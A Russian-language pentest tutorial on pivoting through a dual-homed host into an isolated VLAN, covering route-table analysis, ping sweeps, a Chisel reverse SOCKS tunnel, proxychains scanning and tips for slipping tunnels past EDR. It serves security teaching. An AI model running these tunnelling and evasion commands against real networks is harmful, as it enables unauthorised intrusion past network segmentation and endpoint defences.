Перейти к содержимому

Pivoting через двухсетевой узел: анализ таблиц маршрутизации и переход в изолированный VLAN

|
Pivoting через двухсетевой узел: анализ таблиц маршрутизации и переход в изолированный VLAN
Время чтения: 11 мин.

На внутреннем пентесте логистической компании я два часа бродил по пользовательскому VLAN (Virtual LAN — изолированный логический сегмент сети): принтеры, рабочие станции, шлюз в интернет — ничего интересного. Прорыв случился после компрометации файлового сервера через просроченный пароль сервисного аккаунта. ip addr на захваченном хосте показал второй сетевой интерфейс в подсети 10.128.0.0/24 — там жил контроллер домена. Chisel, proxychains, полчаса работы — и я смотрел на хеши из NTDS.dit. Вся цепочка держалась на одном навыке: умении читать таблицы маршрутизации и находить узлы, стоящие одной ногой в двух сетях.

Бизнес-логика атаки: зачем искать двухсетевой узел

[Применимо: внутренний пентест]

Двухсетевой (dual-homed, он же многодомный) хост — машина с двумя и более сетевыми интерфейсами, каждый подключён к отдельной подсети. Администраторы создают такие конфигурации осознанно: файловый сервер обслуживает и пользовательский, и серверный VLAN — получает по интерфейсу в каждый. Сервер мониторинга Zabbix или Nagios подключён и к DMZ (демилитаризованная зона — сегмент между внешней и внутренней сетью), и к management-сети. Jump-хост для администраторов стоит одной ногой в офисной сети, другой — в продакшене.

Для атакующего каждый такой узел — точка поворота (pivot point). Получив на нём shell (удалённый доступ к командной строке), можно маршрутизировать трафик в подсети, к которым напрямую доступа нет. Это lateral movement через маршрутизацию: перемещение по сети не через уязвимости соседних хостов, а через сетевую связность скомпрометированного узла.

В терминах MITRE ATT&CK (открытая база тактик и техник атак; каждой технике присвоен T-код — уникальный идентификатор) процесс раскладывается так: разведка сетевой конфигурации — System Network Configuration Discovery (T1016, тактика Discovery), обнаружение соседних хостов — Remote System Discovery (T1018, Discovery), настройка прокси для проброса трафика — Internal Proxy (T1090.001, Command and Control).

Импакт прямой: если атакующий находит dual-homed хост между пользовательским и серверным VLAN, сетевая сегментация — разделение сети на изолированные зоны — перестаёт работать. Один скомпрометированный хост превращает «изолированную» серверную сеть в проходной двор.

Анализ таблиц маршрутизации: поиск точки поворота в сети

Первая задача после получения доступа к хосту — понять, куда он может дотянуться. Читаем три вещи: список сетевых интерфейсов, таблицу маршрутизации и ARP-кэш (таблица соответствий IP-адресов и MAC-адресов для устройств, с которыми хост недавно общался).

Предусловия и ограничения:

  • Нужен shell на целевом хосте — Meterpreter, SSH, reverse shell, любой вариант
  • На Windows: прав обычного пользователя хватает для route print, arp -a и ipconfig /all; для netstat -b (привязка соединений к процессам) нужны права администратора
  • На Linux: ip addr и ip route доступны без root; для ss -tulnp с именами процессов потребуется root
  • Стандартные сетевые команды ОС не блокируются антивирусом и EDR (Endpoint Detection and Response — система защиты на конечных точках), но могут логироваться

Route table анализ на Windows: route print и netstat для поиска интерфейсов

[Применимо: внутренний пентест, Windows Server 2016+]

На Windows всё начинается с трёх команд. Первая — ipconfig /all — показывает каждый сетевой адаптер с его IP-адресом, маской подсети и шлюзом по умолчанию. Два адаптера с адресами из разных подсетей — перед тобой dual-homed хост.

Вторая — route print — выводит таблицу маршрутизации. Ищем строки с разными Gateway (шлюзами) для разных сетей назначения:

IPv4 Route Table
===================================================================
Active Routes:
Network Destination  Netmask        Gateway       Interface    Metric
  0.0.0.0            0.0.0.0        192.168.10.1  192.168.10.45   25
  10.128.0.0         255.255.0.0    On-link       10.128.0.12     15
  192.168.10.0       255.255.255.0  On-link       192.168.10.45  281
===================================================================

Разберём построчно — это та вещь, которую стоит научиться читать с первого взгляда. Хост имеет два интерфейса: 192.168.10.45 (пользовательский VLAN) и 10.128.0.12 (серверный сегмент 10.128.0.0/16). Пометка On-link означает, что подсеть напрямую подключена к интерфейсу — пакеты туда идут без маршрутизатора. Маршрут по умолчанию (Network Destination 0.0.0.0) указывает на шлюз 192.168.10.1 — интернет-трафик уходит через пользовательский VLAN. Метрика 15 у серверного маршрута ниже, чем 281 у пользовательского — система предпочитает его для трафика к 10.128.0.0/16. Чем ниже метрика, тем выше приоритет маршрута.

Третья команда — arp -a — показывает, с какими хостами машина недавно обменивалась пакетами. Записи из подсети 10.128.0.0/16 со свежими MAC-адресами — интерфейс активен, а не «мёртвый» адаптер, оставшийся от прошлой конфигурации.

netstat -ano (T1049 — System Network Connections Discovery) дополняет картину: покажет установленные TCP/UDP-соединения с IP-адресами из обеих подсетей. Соединения к 10.128.0.0/16 на портах 445 (SMB — протокол общего доступа к файлам), 3389 (RDP — удалённый рабочий стол), 1433 (MSSQL) подтверждают: через хост можно добраться до серверов.

Route table анализ на Linux: ip route и arp

[Применимо: внутренний пентест, Linux]

На Linux аналогичный набор: ip addr покажет интерфейсы (на старых системах — ifconfig), ip route — таблицу маршрутизации, ip neigh или arp -a — ARP-кэш. ss -tulnp (современный аналог netstat) покажет активные соединения с привязкой к процессам.

На Linux dual-homed конфигурации типичны для серверов мониторинга, bastion-хостов (jump-серверов) и серверов бэкапов. Их подключают к management-VLAN через отдельный интерфейс — чаще eth1 или ens192 — чтобы собирать метрики или бэкапить серверы без нагрузки на основную сеть.

Проверка, которую нельзя пропустить: cat /proc/sys/net/ipv4/ip_forward. Значение 1 — хост уже маршрутизирует пакеты между интерфейсами, трафик пойдёт без дополнительных манипуляций. Значение 0 — IP-форвардинг выключен, для pivoting через двухсетевой узел потребуется поднять туннель на уровне приложения: SOCKS-прокси, Chisel или ligolo-ng. На практике ip_forward=1 встречается реже, чем хотелось бы — обычно приходится возиться с туннелями.

Pivoting в пентесте: пошаговый переход в изолированный VLAN

Dual-homed хост найден, второй интерфейс ведёт в серверный сегмент. Три шага: подтвердить связность, поднять туннель, просканировать новую сеть.

Требования к окружению:

  • Атакующая машина: Kali Linux (или другой дистрибутив) с установленными nmap и proxychains-ng
  • Shell на dual-homed хосте — любой тип
  • Chisel — один бинарь под целевую ОС, ~8 МБ, без зависимостей
  • Сетевая связность между атакующей машиной и dual-homed хостом хотя бы в одном направлении

Шаг 1: подтверждаем dual-homed хост и строим схему

Перед поднятием туннеля убедись, что второй интерфейс ведёт в живую подсеть. На скомпрометированном хосте запусти arp -a для подсети второго интерфейса. IP-адреса с MAC — в сети есть живые хосты (T1018 — Remote System Discovery).

Нарисуй схему — хоть на бумажке. Простой вариант: «Моя машина (192.168.10.100) → Dual-homed хост (192.168.10.45 / 10.128.0.12) → Изолированный VLAN (10.128.0.0/16)». Эта схема — навигатор. Без неё запутаешься, когда цепочка pivot вырастет до двух-трёх звеньев. Я на одном проекте потерял полчаса, пытаясь понять, почему трафик не доходит — оказалось, перепутал, через какой хост идёт второй туннель.

Если есть Meterpreter-сессия, модуль post/windows/gather/arp_scanner с параметром RHOSTS=10.128.0.0/24 выполнит ARP-сканирование через скомпрометированный хост. Обычный shell на Windows — быстрый пинг-свип: for /L %i in (1,1,254) do @ping -n 1 -w 100 10.128.0.%i. На Linux: for i in $(seq 1 254); do ping -c 1 -W 1 10.128.0.$i &>/dev/null && echo "10.128.0.$i alive"; done. Каждый ответивший адрес — потенциальная цель в изолированной сети.

Шаг 2: туннелирование трафика через скомпрометированный узел с Chisel

Chisel — TCP/UDP-туннель поверх HTTP, собранный в один Go-бинарь. Почему именно он: работает без SSH-сервера на хосте, без Metasploit, трафик выглядит как обычные HTTP-запросы. Это реализация техники Internal Proxy (T1090.001).

# На атакующей машине (Kali): запускаем Chisel-сервер.
# --reverse разрешает клиенту создавать обратные туннели.
./chisel server -p 8000 --reverse

# На dual-homed хосте: клиент соединяется с сервером.
# R:socks создаёт SOCKS5-прокси на стороне атакующего (127.0.0.1:1080).
./chisel client 192.168.10.100:8000 R:socks

Ожидаемый результат: в консоли сервера появится строка session#1: tun: proxy#R:127.0.0.1:1080=>socks: Listening. На атакующей машине работает SOCKS5-прокси на порту 1080 — весь трафик через него выходит из dual-homed хоста в серверную подсеть 10.128.0.0/16.

Почему не SSH-туннель? ssh -D 1080 -N user@10.128.0.12 (T1021.004 — SSH, тактика Lateral Movement) — отличный вариант, если на хосте есть SSH-сервер и известны креды. На Windows SSH-сервер (OpenSSH Server) встроен начиная с Windows 10/2019, но почти никогда не включён по умолчанию. Chisel работает на любой ОС без предустановленных сервисов — закинул бинарь, запустил, готово.

Альтернатива для продвинутого сценария — ligolo-ng. В отличие от Chisel, ligolo-ng создаёт TUN-интерфейс на атакующей машине. После добавления маршрута ip route add 10.128.0.0/16 dev ligolo все инструменты работают нативно — без proxychains, с полной поддержкой протоколов, включая ICMP. Минус: требует root на атакующей машине для создания интерфейса и сложнее в настройке. Я обычно начинаю с Chisel, а на ligolo-ng перехожу, если нужен ICMP или UDP.

Шаг 3: сканируем изолированный VLAN через proxychains

Proxychains-ng — обёртка, которая перехватывает TCP-соединения любой программы и направляет их через SOCKS-прокси. Настройка: в файле /etc/proxychains4.conf убедись, что последняя строка — socks5 127.0.0.1 1080 (порт Chisel-прокси).

Проникновение в изолированную сеть начинается с обнаружения сервисов (T1046 — Network Service Discovery):

# -sT: TCP connect scan — единственный тип, работающий через SOCKS
# -Pn: не отправлять ICMP-пинг (не проходит через SOCKS-прокси)
# -n: не резолвить DNS (ускоряет сканирование)
proxychains nmap -sT -Pn -n -p 22,88,135,389,445,1433,3389 10.128.0.0/24

Ожидаемый результат: nmap выведет список хостов с открытыми портами. Порт 88 (Kerberos) или 389 (LDAP) — контроллер домена. Порт 1433 — MSSQL. Порт 3389 — RDP. Порт 445 — SMB-шара. Каждый открытый порт — отдельный вектор дальнейшей атаки.

Ограничения proxychains, которые нужно знать:

  • Работает только TCP connect scan (-sT). SYN-сканирование (-sS) и UDP через SOCKS не проходят — ограничение протокола, не proxychains
  • Сканирование медленнее прямого в 5-10 раз — ограничивай диапазон портов и адресов. Сканировать весь /16 на все порты через SOCKS — занятие на ночь
  • Включи proxy_dns в конфигурации proxychains, чтобы DNS-запросы шли через прокси — тогда можно резолвить внутренние имена хостов

После обнаружения хостов — proxychains crackmapexec smb 10.128.0.0/24. Эта команда покажет NetBIOS-имена машин, домен, версии SMB и подписи — достаточно для планирования атаки на домен.

Обход сегментации сети: когда dual-homed хост атака НЕ работает

Pivoting через двухсетевой узел — не универсальный ключ. Вот конкретные ситуации, когда техника деградирует или ломается:

Host-based firewall блокирует нестандартные порты. Windows Firewall с профилем Domain по умолчанию запрещает входящие соединения на произвольные порты. Chisel-клиент инициирует исходящее соединение (обходит это), но если на хосте настроен фильтр исходящего трафика — придётся использовать разрешённый порт (80, 443) или протокол. Ограничение: outbound-фильтрация на уровне хоста.

EDR распознаёт Chisel/ligolo-ng. CrowdStrike Falcon, Microsoft Defender for Endpoint, SentinelOne — все трое детектируют бинари Chisel и ligolo-ng по сигнатурам и поведению (создание TCP-туннелей, WebSocket-хендшейки). Обходные пути: пересборка из исходников с изменёнными строками, SSH-туннель (легитимный протокол), проброс через встроенную утилиту netsh interface portproxy на Windows — она не детектируется как вредоносная, потому что это штатный инструмент ОС. Ограничение: наличие EDR с актуальными сигнатурами.

ACL на коммутаторе ограничивают трафик между VLAN. Если сегментация реализована не только логически, но и через Access Control List (ACL — список правил фильтрации на сетевом оборудовании), разрешающий только определённые порты (например, 445 для SMB) — SOCKS-туннель будет пропускать трафик только по этим портам. Ограничение: гранулярная ACL-фильтрация.

802.1X и NAC на портах коммутатора. 802.1X — протокол аутентификации устройств на уровне порта коммутатора. Если в сети используется Network Access Control (NAC), даже наличие второго интерфейса не гарантирует полный доступ — коммутатор может требовать аутентификацию MAC-адреса или сертификат. Ограничение: зрелая инфраструктура с NAC-контролем.

Нет root + IP-форвардинг выключен (Linux). Без root нельзя включить ip_forward и создать TUN-интерфейс для ligolo-ng. Chisel и SSH-туннели работают на уровне приложения — IP-форвардинг им не нужен. Ограничение: отсутствие привилегий при необходимости TUN-интерфейса.

Отдельный случай — когда dual-homed хост сам является целью (контроллер домена, сервер бэкапов). Тогда pivoting не нужен: работаем локально, без проброса маршрута.

Из десяти внутренних пентестов, где я целенаправленно искал dual-homed хосты через route table анализ, находил их в восьми. Серверы мониторинга, jump-хосты, файловые шары с доступом в несколько VLAN — администраторы создают эти конфигурации из операционной необходимости и потом про них забывают. Сегментация сети по документам выглядит безупречно: отдельный VLAN для серверов, для пользователей, DMZ, management. На практике один dual-homed хост превращает эту архитектуру в декорацию.

Что удивляет — даже в компаниях с выделенной ИБ-командой никто систематически не инвентаризирует хосты с несколькими интерфейсами. Автоматизируется это за полдня: скрипт на PowerShell через WMI или Python через SSH опрашивает все хосты и собирает количество активных адаптеров. Результат — список машин, каждая из которых потенциально обходит сегментацию. Но задача не попадает ни в один комплаенс-чеклист и ни в один регулярный аудит. С ростом микросегментации (NSX, Illumio) dual-homed хосты как вектор pivoting станут менее актуальны — трафик будет фильтроваться на уровне каждой рабочей нагрузки, а не VLAN. Но пока до этого далеко, и это остаётся самым простым способом обойти сегментацию на реальном пентесте. Если только начинаешь разбираться в сетевой безопасности и хочешь пройти от базовых концепций до конкретных техник системно — на IB Basics эту цепочку разбирают с нуля до первых задач, без академического тона.

Эту тему и смежные навыки разбирают на практике в курсе «Компьютерные сети» Codeby Academy.